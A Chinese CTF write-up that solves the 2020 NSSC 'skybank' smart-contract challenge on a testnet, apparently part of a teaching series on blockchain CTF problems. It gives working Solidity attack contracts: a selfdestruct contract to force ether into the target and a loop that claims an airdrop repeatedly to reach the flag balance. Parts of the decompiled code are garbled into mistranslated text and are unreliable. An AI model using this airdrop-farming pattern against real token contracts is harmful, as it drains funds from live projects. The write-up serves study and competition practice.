近年来,在前言,的各种大型CTF(Capture The Flag,中文一般翻译为Capture,是指网络安全领域的网络安全技术人员之间的技术竞赛的一种比赛形式)比赛中出现了区块链攻防,出现问题的大多是区块链智能合约攻防。本系列文章主要围绕智能合约的攻防来分析智能合约的攻防要点。在前两篇文章中,我们分享了契约反编译和反汇编的基本内容。后续文章中,我们将继续分享智能合约在CTF比赛中的常见问题(再入、整数溢出、空投、可控随机数等。)以及解决方案,相信会给读者带来不一样的收获。
在上一篇文章中,我们分享了CTF比赛中经常测试的整数溢出漏洞问题,其中使用了可变覆盖等各种攻击技术,需要读者仔细推敲。在本文中,我们继续分享CTF竞赛中的空投问题,即薅羊毛。在整数溢出问题系列中,也使用了空投,但是只调用了一个空投,达到触发其他漏洞的判断条件,没有获得批量空投。
本文以2020年NSSC CTF的skybank题目为例,分享了同样在CTF多次出现的智能合约薅羊毛的题型。与以前的系列文章相比,这个薅羊毛问题更容易理解。
地址:3359 ropsten . ethers can . io/address/0x e 6 bebc 078 BF 01 c 06d 80 b 39 E0 bb 654 f 70 c 7 b 0 c 273 #代码
题目分析's题提示原契约的操作码需要反编译;而airdrop的最终判断函数分别是get()和achieve flag();当ObtainFlag()函数的event事件被触发时,攻击成功;需要为合同提供资金。检查源代码的合同标题。契约中有0.62ether,但没有给出契约的源代码,如下图所示:
因为拿到标题后只有契约的操作码,所以要反过来。这里推荐一下在线Solidity Decompiler在线网站(https://ethervm.io/decompile),不再详细重复源代码还原。需要学习的同学可以反编译反汇编一系列文章。
以下是反向合同代码:
^0.4.24实用主义;签约天合银行{ mapping(address=uint)公共余额;event send flag(string base 64 email,string m D5 name CTF);bytes 20 addr=bytes 20(msg . sender);函数ObtainFlag(string base64email,string MD 5 name CTF){ require(balances=100000000);发出sendflag(base64email,m D5 name CTF);} function gether()public { require(balances==0);余额=10000000;}函数传递(address to,uint bur)public { require(bur==balances);余额=bur余额-=bur;}}合同分析我们先来看标题的最终判断函数,ObtainFlag():
函数ObtainFlag(string base64email,string MD 5 name CTF){ require(balances=100000000);发出sendflag(base64email,m D5 name CTF);}从这个函数可以看出,有两个参数(base64email,md5namectf)传入了obtainFlag()函数,函数代码第一行require(balances=1000000000);会判断来电者地址的余额是否大于等于1000000000魏,如果满足这个条件,执行emit send flag (base64 email,MD 5 name);代码,可以从题目中得出,只要参赛选手触发sendflag事件,输出参数表示标志获取成功。
选手最初调用标题合约skybank时,调用地址在合约的大写中为0,需要通过合约逻辑得到大写。让我们继续来看看获取airdrop函数get():
函数gether()public { require(balances==0);余额=100000
00;}gether()函数中,第一句代码require(balances继续分析合约的转账函数Transfer():
function Transfer(address to, uint bur) public { require(bur == balances
解题思路通过以上skybank题目合约分析,可以总结出两种解题思路:
第一种:
通过A地址调用gether()函数获取空投调用Transfer()函数将A地址余额转至B地址重新使用A地址调用gether()函数获取空投,并将余额转至B地址(不断循环)使用B地址调用ObtainFlag()并触发事件第二种:
使用多个地址调用gether()获取空投将获取空投汇聚至固定地址通过该固定地址调用ObtainFlag()并触发事件攻击演示我们进行第一种解题思路的攻击演示,使用Remix+MetaMask对攻击合约进行部署调用
1. 自毁给题目合约转币由于题目合约的初始状态没有ether,故我们通过自毁函数,强行将ether转入题目合约地址,虽然当前题目合约有一定资金。为了攻击完整性,也演示一次自毁。
构造自毁合约:
pragma solidity ^0.4.24;contract burn {function kill() public payable { selfdestruct(address(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273));}}部署burn合约,并利用kill()函数带入0.02Ether进行自毁,将Ether发送到题目合约地址。
2. 使用A地址部署最终调用者合约attacker2(合约地址D)调用代码
pragma solidity ^0.4.24;interface skybankInterface { function ObtainFlag(string base64email, string md5namectf);}contract attacker2 { skybankInterface constant private target = skybankInterface(0xE6BEBc078Bf01C06D80b39E0bb654F70C7B0C273); function exploit() { target.ObtainFlag("zxc", "000"); } }部署成功
3.使用B地址部署获取空投的合约attacker(合约地址E)调用代码:Transfer传入的地址参数为D地址
pragma solidity ^0.4.24;interface skybankInterface { function gether() external; function Transfer(address to, uint256 env) external;}contract attacker { skybankInterface constant private target = skybankInterface(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273); function exploit(uint256 len) public payable { for(uint256 i=0; i<len; i++){ target.gether(); target.Transfer(0xB8EBd7aaD718F65e61c0fC8359Dc5f9B5b85b067,10000000); } }}部署成功
调用exploit()函数并传入参数101,获取101次空投
获取空投成功
4.使用A地址调用D合约的exploit()函数通过获取到的ether调用exploit()函数触发题目合约的sendflag事件
成功触发事件
至此,攻击完成
总结本篇文章中,我们通过2020NSSC比赛中的skybank智能合约题目,详细分析了合约存在的薅羊毛漏洞问题,提供了解题思路并进行了攻击演示,相对于系列文章前几篇,本篇比较简单易懂,有兴趣的同学可以尝试复现。下一篇我们会继续分享CTF智能合约经典题目,请大家持续关注。